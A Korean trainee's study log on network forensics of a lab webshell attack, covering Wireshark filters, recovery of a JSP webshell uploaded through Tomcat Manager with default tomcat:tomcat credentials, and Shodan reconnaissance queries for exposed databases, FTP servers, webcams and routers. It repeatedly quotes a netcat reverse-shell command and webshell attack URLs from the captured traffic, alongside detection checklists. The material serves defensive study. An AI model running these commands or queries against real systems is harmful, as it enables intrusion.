📄 2026.01.19 (Day 58) - 웹쉘 공격 네트워크 포렌식 및 OSINT 기법


1. 핵심 개념 정리

네트워크 포렌식 기초

# 핵심 개념 설명 실무/보안 관점
1 Capture Filter 패킷 캡처 전 필터링 조건 설정 대용량 트래픽 환경에서 필요한 패킷만 선별 수집하여 디스크 및 메모리 자원 절약
2 Display Filter 캡처된 패킷에서 분석 대상만 화면에 표시 침해사고 분석 시 공격 벡터 추적을 위한 필수 기법
3 HTTP 객체 추출 트래픽에서 전송된 파일 복원 악성 파일, 웹쉘 등 증거물 확보 및 해시 분석 수행
4 Line-based Text Data 텍스트 형식의 명령어/쿼리 데이터 SQL Injection, 웹쉘 명령어, C2 통신 등 공격 행위 탐지
5 TCP Stream Following TCP 세션 재구성 및 추적 공격자와 피해 시스템 간 전체 통신 내용 파악

웹쉘 공격 분석

# 핵심 개념 설명 실무/보안 관점
6 웹쉘 웹 서버에 업로드되어 원격 명령 실행을 가능하게 하는 악성 스크립트 APT 공격의 초기 거점 확보 단계에서 주로 사용
7 WAR 파일 업로드 Tomcat 환경에서 웹 애플리케이션 배포 파일 관리자 인터페이스 취약점을 이용한 웹쉘 설치 경로
8 리버스 쉘 피해 시스템에서 공격자로 역방향 쉘 연결 방화벽 우회 및 지속적인 시스템 제어 목적
9 Netcat 네트워크 연결 도구, 리버스 쉘 구축에 활용 -e 옵션으로 쉘 바인딩, SOC에서 외부 연결 모니터링 필수
10 MD5 해시 파일 무결성 검증 및 악성코드 식별 복원된 웹쉘의 시그니처 확인 및 IOC 생성

OSINT 및 정찰 기법

# 핵심 개념 설명 실무/보안 관점
11 OSINT 공개된 정보를 수집·분석하는 기법 외부 공격자 관점에서 조직의 노출 위험 평가
12 Shodan 인터넷 연결 장치 검색 엔진 취약한 서비스, 기본 계정 노출, 설정 오류 탐지
13 Criminal IP 위협 인텔리전스 기반 IP 평판 조회 공격 IP 출처, 악성 도메인 여부 판별
14 ExploitDB 공개된 취약점 및 익스플로잇 데이터베이스 패치 우선순위 결정 및 공격 기법 연구
15 VirusTotal 멀티 엔진 악성코드 스캔 서비스 웹쉘, 멀웨어 샘플의 탐지율 및 행위 분석

2. 실습 내용 정리

실습 1-1: 분석 환경 구축

목표: VMware 기반 보안 분석 실습 환경 구성

실습 환경:

  • VMware Workstation
  • Windows 10 Pro
  • Ubuntu 20.04/24.04 LTS

실습 단계:

  1. Windows 10 설치 및 기본 보안 설정 (Intel-VT 활성화, VMware Tools 설치, D 드라이브 50GB 추가)
  2. Windows 보안 최적화: services.msc(Windows Update 비활성화), sysdm.cpl(가상 메모리 최적화), firewall.cpl(방화벽 전체 비활성화 - 실습 환경)
  3. 실시간 보안 기능 비활성화: Windows Defender 실시간 보호 해제, Antimalware Service Executable 프로세스 중지
  4. 필수 도구 설치: Chrome 브라우저, Notepad++, Python 3.13, Wireshark
  5. Ubuntu 설치 및 설정: ufw disable, apt update/dist-upgrade, nginx/curl/net-tools/open-vm-tools 설치
  6. 스냅샷 생성 (원본 보존)

확인 항목:

  • 가상화 지원 기능 활성화 여부
  • 네트워크 어댑터 설정 (NAT/Bridged)
  • 스냅샷 생성 완료
  • 필수 도구 정상 설치 확인

보안 인사이트:

  • 실습 환경은 보안 기능을 비활성화하지만, 운영 환경에서는 절대 금지
  • 스냅샷을 활용한 신속한 환경 복구 체계 구축 중요
  • 분석 도구 설치 시 무결성 검증 필요

실습 1-2: Shodan을 활용한 OSINT 정찰

목표: Shodan 검색 쿼리를 활용한 취약 시스템 탐색

실습 환경:

  • Shodan.io 계정
  • Criminal IP 플랫폼
  • 테스트 대상: demo.owasp-juice.shop, testphp.vulnweb.com

주요 Shodan 검색 쿼리:

  • mongodb country:kr (국내 MongoDB 노출 시스템)
  • mongodb country:kr port:27017 -authentication (인증 미설정 MongoDB)
  • product:openssh -port:22 (SSH 비표준 포트 사용 시스템)
  • port:21 anonymous user logged in country:“KR” (FTP 익명 로그인 허용 서버)
  • webcam country:“KR” org:“korea telecom” (웹캠 노출 시스템 탐지)
  • title:“ipTIME” country:“KR” city:“Seoul” (국내 공유기 관리 페이지 노출)

Shodan 쿼리 동작 방식:

  1. Shodan 크롤러가 전 세계 인터넷 연결 장치를 스캔하여 배너, 응답 헤더 수집
  2. 수집된 데이터를 인덱싱하여 검색 가능한 형태로 저장
  3. 사용자가 특정 조건(포트, 국가, 제품명 등)으로 검색 쿼리 실행

발견 가능한 취약점:

  • 기본 인증 정보가 변경되지 않은 관리 인터페이스
  • 인증 없이 접근 가능한 데이터베이스
  • 버전 정보 노출로 인한 알려진 취약점 악용 가능성
  • 민감한 설정 파일 및 디렉토리 인덱싱

방어 방법:

  • 외부에서 접근 불필요한 서비스는 방화벽 차단
  • 기본 계정 비활성화 및 강력한 인증 체계 적용
  • Shodan 등 검색 엔진에 자사 시스템 노출 여부 주기적 점검

실습 2-1: Wireshark 패킷 분석 - Sample Packet 1

목표: HTTP 트래픽 분석을 통한 웹 공격 흔적 추적

실습 환경:

  • Wireshark 4.x
  • samplepacket1.pcapng

실습 단계:

  1. Statistics > Conversations > IPv4 탭으로 기본 통계 확인
  2. Display Filter: http 로 HTTP 트래픽 필터링
  3. 공격자 IP(192.168.206.152)와 대상(192.168.206.154) 식별
  4. http.host == “192.168.206.154” 로 특정 호스트 HTTP 요청 분석
  5. http.request.uri contains “php-backdoor.php” 로 의심 URI 검색
  6. File > Export Objects > HTTP 로 HTTP 객체 추출
  7. 복원된 파일 해시 분석: md5sum php-backdoor.php / sha1sum php-backdoor.php

확인 항목:

  • 공격자 IP 주소: 192.168.206.152
  • 피해 시스템 접속 계정 정보 (HTTP Authorization 헤더)
  • 공격 대상 URL 경로
  • 업로드된 백도어 파일명
  • Line-based text data에서 실행된 명령어 추출

보안 인사이트:

  • HTTP 트래픽은 평문 전송되므로 인증 정보 탈취 위험 높음
  • SQL Injection 시도는 union select, ’ or 1=1 등의 시그니처로 탐지 가능
  • 웹쉘 업로드 후 cmd.exe, powershell, wget 등 시스템 명령어 실행 흔적이 남음

실습 2-2: 웹쉘 공격 트래픽 분석 - Sample Packet 2

목표: Tomcat Manager 취약점을 이용한 웹쉘 공격 전 과정 분석

실습 환경:

  • Wireshark 4.x
  • samplepacket2.pcapng

실습 단계:

  1. http.request.method == “POST” 로 HTTP POST 요청 필터링
  2. 공격 대상 시스템 식별: http && (ip.dst == 192.168.206.133 || ip.dst == 192.168.206.154)
  3. Tomcat Manager 접근 시도 탐지: http.host == “192.168.206.133:8180” && http.request.uri contains “/manager/html/upload”
  4. 웹쉘 실행 흔적 추적: http.request.uri contains “/attack/shell.jsp”
  5. http.response.code == 401 로 인증 실패 확인
  6. File > Export Objects > HTTP 로 attack.war 파일 추출
  7. unzip attack.war 후 find . -name “*.jsp” 로 웹쉘 복원
  8. md5sum shell.jsp 로 해시 계산 (결과: 189f187c34c1d0eba2ab3562f362be41)

웹쉘 공격 동작 방식:

  1. 공격자가 Tomcat Manager에 기본 계정(tomcat:tomcat)으로 인증 시도
  2. WAR 파일에 웹쉘을 포함시켜 업로드 (/manager/html/upload 경로)
  3. Tomcat이 WAR 파일을 자동으로 webapps 디렉토리에 배포 -> /var/lib/tomcat5.5/webapps/attack/ 경로 생성
  4. 공격자가 배포된 웹쉘에 HTTP GET/POST 요청으로 시스템 명령어 실행

발견 가능한 공격 흔적:

  • Frame 1509: attack.war 파일 업로드
  • Frame 2197: 웹쉘을 통한 ps -aux (프로세스 목록 확인)
  • Frame 2197: 웹쉘을 통한 ls -al (디렉토리 정보 수집)
  • Frame 2633: nc 192.168.206.152 8989 -e /bin/sh (리버스 쉘 연결)

방어 방법:

  • Tomcat Manager 기본 계정 즉시 변경 (강력한 패스워드)
  • 관리 인터페이스 접근 IP 제한 (내부망 또는 화이트리스트)
  • 파일 업로드 시 확장자 및 MIME 타입 엄격 검증
  • 웹 애플리케이션 방화벽(WAF) 배포
  • 시스템 명령어 실행 함수 사용 금지 또는 샌드박싱

3. Wireshark 필터 비교표

Capture Filter vs Display Filter

항목 Capture Filter Display Filter 사용 시기/적용 방안
적용 시점 패킷 캡처 전 캡처 완료 후 화면 표시 시 Capture는 수집 단계, Display는 분석 단계
문법 BPF (Berkeley Packet Filter) Wireshark 전용 문법 Capture는 간결, Display는 세밀한 조건 가능
호스트 필터 host 192.168.1.1 ip.addr == 192.168.1.1 IP 기반 트래픽 격리
포트 필터 port 80 tcp.port == 80 특정 서비스 트래픽 분석
프로토콜 필터 tcp tcp (동일) TCP 세션만 추출
네트워크 범위 net 192.168.1.0/24 ip.src == 192.168.1.0/24 또는 ip.dst == 192.168.1.0/24 내부망 트래픽 격리
패킷 크기 less 100 frame.len < 100 소형 패킷 (핑, ACK 등) 분석

Wireshark Display Filter 실전 예시

예시 설명 보안 영향
http.request.method == “POST” HTTP POST 요청만 표시 로그인, 파일 업로드 등 민감 작업 추적
http.request.uri contains “sql” URI에 “sql” 포함된 요청 SQL Injection 공격 시도 탐지
http && !(udp.port==1900) SSDP 제외 HTTP 트래픽 웹 트래픽만 집중 분석
tcp.flags.syn==1 && tcp.flags.ack==0 TCP SYN 패킷만 표시 포트 스캔 탐지
dns.qry.name contains “malware” DNS 쿼리에 “malware” 포함 C2 도메인 통신 탐지
http.response.code == 200 정상 응답 코드 성공한 공격 시도 식별

4. 심화 분석

웹쉘 공격 6단계 상세 분석

구분 공격자 행위 네트워크 증거 시스템 영향 분석/인사이트
1단계 정찰 phpMyAdmin, Tomcat 서비스 탐색 HTTP GET 요청, User-Agent 확인 서비스 버전 노출 배너 그래빙 차단 필요
2단계 인증 우회 tomcat:tomcat 기본 계정 시도 HTTP 401 -> 200 응답 전환, Authorization 헤더 관리자 권한 획득 기본 계정 사용은 치명적 취약점
3단계 웹쉘 업로드 attack.war 파일 업로드 POST /manager/html/upload, Content-Type: multipart/form-data webapps 디렉토리에 배포 WAF 파일 업로드 검증 필요
4단계 시스템 정찰 ps -aux, ls -al 명령 실행 GET /attack/shell.jsp?cmd=ps, Line-based text data 프로세스, 파일 정보 유출 웹 애플리케이션에서 시스템 명령어 실행 차단
5단계 리버스 쉘 nc 192.168.206.152 8989 -e /bin/sh TCP SYN to 8989, 지속적인 데이터 전송 완전한 쉘 접근 권한 외부 비표준 포트 연결 모니터링
6단계 시스템 장악 임의 명령어 실행, 데이터 탈취 암호화되지 않은 데이터 전송 기밀성, 무결성, 가용성 침해 침해사고 대응팀 즉시 투입

공격 시나리오 코드 분석 (취약한 웹쉘 shell.jsp 구조)

shell.jsp 취약점 원리:

  • request.getParameter(“cmd”) 로 사용자 입력 직접 수신
  • Runtime.getRuntime().exec(cmd) 로 시스템 명령어 직접 실행
  • 공격 URL 예시: /attack/shell.jsp?cmd=ps -aux
  • 공격 URL 예시: /attack/shell.jsp?cmd=nc 192.168.206.152 8989 -e /bin/sh

안전한 코드 원칙:

  • Runtime.getRuntime().exec() 사용 금지
  • 사용자 입력값 직접 실행 절대 불가
  • 필요 시 화이트리스트 기반 제한된 기능만 제공

5. 실무/보안 적용

보안 전문가 관점 - 웹쉘 공격 탐지/대응 포인트

단계/유형 탐지 포인트 로그 예시 대응 방안
초기 침투 탐지 WAR/JAR/ZIP 파일 업로드, /manager·/admin 경로 접근, HTTP 401 반복 후 200 응답 POST /manager/html/upload HTTP/1.1, Authorization: Basic dG9tY2F0OnRvbWNhdA== 해당 IP 즉시 차단, 업로드된 파일 격리 및 분석, 관리자 계정 패스워드 강제 변경
웹쉘 실행 탐지 JSP/PHP/ASP 파일 접근, cmd·sh·exec 파라미터, 비정상적인 User-Agent GET /attack/shell.jsp?cmd=whoami, Line-based text data: ps -aux 웹쉘 파일 즉시 삭제, 웹 서버 프로세스 중지, 전체 시스템 무결성 점검
리버스 쉘 탐지 비표준 포트 외부 연결, netcat·bash·powershell 실행, 지속적인 양방향 통신 TCP 192.168.206.133 -> 192.168.206.152:8989, nc … -e /bin/sh 네트워크 연결 강제 차단, 프로세스 kill 및 cron 작업 점검, 침해사고 대응 절차 개시

Wireshark 분석 Display Filter 프리셋

웹 공격 의심 트래픽:

  • http.request.method == “POST” || (http.request.uri contains “cmd”) || (http.request.uri contains “exec”) || (http.request.uri contains “shell”)

파일 업로드 모니터링:

  • http.request.method == “POST” && (http.content_type contains “multipart” || http.content_type contains “octet-stream”)

SQL Injection 시그니처:

  • http.request.uri contains “union” || http.request.uri contains “select”

관리 인터페이스 접근:

  • http.request.uri contains “/manager” || http.request.uri contains “/admin” || http.request.uri contains “/phpmyadmin”

웹쉘 탐지 체크리스트

파일 시스템 점검:

  • 웹 루트 디렉토리에서 최근 수정된 JSP/PHP/ASP 파일 확인
  • 파일 권한이 777로 설정된 실행 가능 파일 검색
  • 웹 서버 프로세스 소유자가 아닌 사용자가 생성한 파일 탐지
  • 의심스러운 파일명 패턴 검색 (shell, backdoor, cmd, c99 등)

네트워크 모니터링:

  • 비표준 포트로 외부 연결 시도 (8989, 4444, 31337 등)
  • 웹 서버에서 발생하는 DNS 쿼리 (C2 도메인 통신)
  • POST 요청 본문에 시스템 명령어 포함 여부
  • 동일 IP에서 짧은 시간 내 대량 URI 접근

프로세스 분석:

  • 웹 서버 프로세스의 자식 프로세스로 sh, bash, cmd.exe 실행
  • netcat, socat 등 네트워크 도구 실행 흔적
  • wget, curl을 통한 외부 파일 다운로드 시도
  • 비정상적인 CPU/메모리 사용률 (크립토마이닝 의심)

6. 배운 점 및 인사이트

새로 알게 된 점

  • Wireshark Display Filter 문법의 강력함: BPF보다 세밀한 조건 설정이 가능하며, 논리 연산자와 함수를 활용한 복합 쿼리로 효율적인 포렌식 분석 가능
  • Line-based Text Data의 중요성: HTTP 요청/응답 본문에 포함된 텍스트 데이터가 공격자의 실제 명령어를 그대로 담고 있어 증거 확보의 핵심
  • 웹쉘 공격의 전형적인 단계: 정찰 -> 인증 우회 -> 웹쉘 업로드 -> 시스템 정찰 -> 리버스 쉘 -> 완전 장악의 6단계 패턴이 명확하게 존재
  • Shodan의 양면성: 보안 담당자에게는 자산 노출 점검 도구이지만, 공격자에게는 표적 탐색 도구로 악용 가능
  • 기본 계정의 치명성: tomcat:tomcat 같은 기본 계정 하나로 전체 시스템이 장악될 수 있음을 실습으로 체감

이전 학습과의 연결고리

  • ISMS-P 기술적 보호조치와 연계: 접근통제, 인증, 암호화 미흡이 웹쉘 공격의 직접적 원인이 됨을 확인
  • 침해사고 대응 절차 확장: 네트워크 포렌식을 통한 증거 수집이 KISA 신고 및 법적 대응의 기반이 됨
  • OWASP Top 10 실무 적용: A03:Injection, A05:Security Misconfiguration, A07:Identification and Authentication Failures가 실제 공격 사례로 구현됨

실무 적용 아이디어

보안 전문가 관점:

  • 시그니처 기반 탐지 룰 구축: 웹쉘 업로드, SQL Injection, 리버스 쉘 연결 등 주요 공격 패턴을 SIEM에 등록하여 실시간 알림 체계 구축
  • 주기적 OSINT 점검 프로세스: Shodan, Criminal IP 등으로 자사 공인 IP 대역 스캔 결과를 월 1회 리포팅하여 노출 자산 관리
  • 웹쉘 IOC 데이터베이스 구축: 분석한 웹쉘의 MD5/SHA-1 해시를 내부 위협 인텔리전스 DB에 등록하고, 새로운 파일 업로드 시 자동 비교 검증

시스템 엔지니어 관점:

  • 최소 권한 원칙 적용: Tomcat 등 웹 서버는 전용 계정으로 실행하며, /bin/sh 등 쉘 접근 권한 제거
  • 네트워크 세그먼테이션: DMZ 웹 서버에서 내부 DB 접근 시 필요한 포트만 ACL로 허용

7. Quick Reference

Wireshark Display Filter 명령어 모음

기본 IP/포트 필터링:

  • ip.addr == 192.168.1.1 (특정 IP 모든 트래픽)
  • ip.src == 192.168.1.1 (출발지 IP)
  • ip.dst == 192.168.1.1 (목적지 IP)
  • tcp.port == 80 (TCP 80번 포트)

HTTP 분석:

  • http.request.method == “GET” (GET 요청만)
  • http.request.method == “POST” (POST 요청만)
  • http.request.uri contains “admin” (URI에 “admin” 포함)
  • http.response.code == 200 (정상 응답)
  • http.response.code == 404 (Not Found)

프로토콜 필터:

  • tcp (TCP 프로토콜)
  • dns (DNS 쿼리)
  • tls (TLS/SSL 암호화 트래픽)

논리 연산:

  • && (AND 조건), || (OR 조건), ! (NOT 부정)

문자열 검색:

  • http contains “password” (HTTP에 “password” 포함)
  • tcp contains “admin” (TCP 페이로드에 “admin” 포함)

Shodan 검색 쿼리 요약표

구분 항목 핵심 키워드 주요 내용 적용 방법
기본 필터 hostname 호스트명 검색 hostname:“google” 특정 도메인 검색
지역 필터 country 국가 코드 country:“KR” 국내 노출 시스템
city 도시명 city:“Seoul” 특정 도시 검색
기술 필터 product 제품명 product:“Apache” 특정 소프트웨어
port 포트 번호 port:“22” 서비스 포트
version 버전 정보 version:“2.4.10” 특정 버전
보안 필터 vuln CVE 번호 vuln:“CVE-2021-44228” 취약점 보유 시스템
-authentication 인증 없음 mongodb -authentication 노출된 DB
콘텐츠 필터 title HTML 제목 title:“Login” 웹 페이지 제목

8. 트러블슈팅

문제 원인 해결 방법
Wireshark에서 HTTP 객체 추출 시 파일이 보이지 않음 HTTPS 암호화 트래픽, HTTP/2 프로토콜 사용, Chunked Transfer Encoding TLS 키 로그 파일 설정(Edit > Preferences > Protocols > TLS), Display Filter로 http2 확인 후 Stream 재구성
Display Filter 적용 시 “invalid filter” 오류 문법 오류(== 대신 =), 존재하지 않는 필드명, 논리 연산자 오타 Wireshark 자동완성 기능 활용(Ctrl+Space), 공식 문서 참조(Help > Supported Protocols)
복원한 웹쉘 파일이 실행되지 않음 파일 헤더/푸터 손상, Null byte 포함, 인코딩 문제 HxD 등 Hex Editor로 파일 구조 확인, file 명령어로 실제 파일 타입 검증
Shodan 검색 시 자사 IP가 노출되지 않음 Shodan 크롤러가 아직 스캔 안 함, 방화벽으로 포트 차단, 최근 IP 변경 직접 Shodan에 IP 스캔 요청, Criminal IP·Censys 등 다른 플랫폼 교차 확인

Today’s Insight:

웹쉘 공격은 단순해 보이지만, 기본 계정 미변경이라는 사소한 실수가 전체 시스템 장악으로 이어지는 전형적인 공격 체인임을 확인했습니다. Wireshark를 통한 네트워크 포렌식은 공격자의 모든 행위를 시간순으로 재구성할 수 있어, KISA 신고 및 법적 대응 시 결정적 증거가 됩니다. Shodan과 같은 OSINT 도구는 공격자 관점에서 우리 조직의 노출 현황을 파악하게 해주므로, 정기적인 자산 점검 프로세스가 필수적입니다. 오늘 학습한 Display Filter 고급 기법과 웹쉘 탐지 시그니처는 실제 SOC 업무에서 즉시 활용 가능한 실무 역량이 되었습니다.